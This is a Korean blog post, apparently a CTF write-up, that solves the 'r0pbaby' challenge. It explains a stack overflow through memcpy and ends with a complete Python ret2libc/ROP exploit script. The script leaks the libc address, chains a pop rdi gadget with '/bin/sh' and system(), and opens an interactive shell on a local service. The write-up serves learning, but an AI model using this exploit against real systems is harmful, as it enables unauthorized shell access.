r0pbaby_542ee6516410709a1421141501f03760

(환경 : Ubuntu 16.04,  libc.so.6)



 PIE와 NX 보호기법이 걸려있는 64bit ELF 파일이다.






프로그램을 실행시켜보았다.

1번에서 libc의 주소값을 얻을 수있고, 2번에서 입력한 심볼의 주소값을 얻을 수 있다.

그리고 3번에서는 설정한 크기만큼 값을 입력받게 된다.





코드를 보면 3번을 선택했을 경우 memcpy()를 통해 설정한 크기만큼 데이터를 입력받아 &savedregs에 복사하게 된다.




savedregs의 주소로 가보니 sfp와 ret가 존재하였다.

즉, 값을 8byte 이상 입력하면 sfp부터 채우게 되어 오버플로우가 발생하게 될 것이다.





크기를 16으로 지정한 뒤 값을 입력해보면 Segmentation fault가 뜨는 것을 확인할 수 있다.





ROP를 이용하여 이곳을 공략하면 된다.


64비트에서는 첫 번째 인자값을 버퍼가 아닌 레지스터 rdi에서 가져오게 된다. 

(레지스터 rdi, rsi, rdx, rcx, r8, r9 순으로 파라미터 전달)

따라서 rdi에 "/bin/sh"를 넣고 system() 함수로 실행시키게 된다면 쉘이 실행될 것이다. 


공격 페이로드는 다음과 같다.


"A"*8  |  &"pop rdi ; ret"  |  &"/bin/sh"  |  system()




먼저 libc.so 파일을 이용해 system 함수의 offset을 구해준다.






/bin/sh 주소와 "pop rdi" 가젯은 다음과 같은 방법으로 구할 수 있다.




rp++을 사용하면 가젯을 쉽게 구할 수 있다.





필요한 값들은 다 구했으니 이제 exploit 코드를 작성하여 쉘을 획득하는 일만 남았다.




[ Exploit Code ]


from struct import *

from socket import *

from time import *

import telnetlib


p = lambda x : pack("<Q", x)

up = lambda x : unpack("<Q", x)


def get_shell(s):

t=telnetlib.Telnet()

t.sock = s

t.interact()


s = socket(AF_INET, SOCK_STREAM)

s.connect(('127.0.0.1', 3213))


system_offset = 0x45380

pop_rdi_offset = 0x21102

binsh_offset = 0x18c58b


# Get libc_addr

s.recv(1024)

s.send("2\n")

s.recv(1024)

s.send("system\n")

system_addr = int(s.recv(1024).split()[2], 16)

libc_addr = system_addr -  system_offset


print "[*] system_addr 0x%x " % system_addr

print "[*] libc_addr 0x%x " % libc_addr


# Exploit

payload = ''

payload += "a"*8

payload += p(libc_addr + pop_rdi_offset)

payload += p(libc_addr + binsh_offset)

payload += p(system_addr)


s.recv(1024)

s.send("3\n")


s.recv(1024)

s.send("%d\n" %(len(payload)+1))

s.send(payload+"\n")

s.send("4\n")


get_shell(s)





'CTF > etc.' 카테고리의 다른 글

[Plaid CTF 2015] EBP  (0) 2018.04.19
[TJCTF 2016] oneshot  (0) 2018.02.13
[Defcon 26 quals 2016] feedme  (0) 2017.11.19
[QIWI CTF 2016] PWN 200_3  (0) 2016.12.06
[Plaid CTF 2013] ropasaurusrex  (0) 2016.10.21

+ Recent posts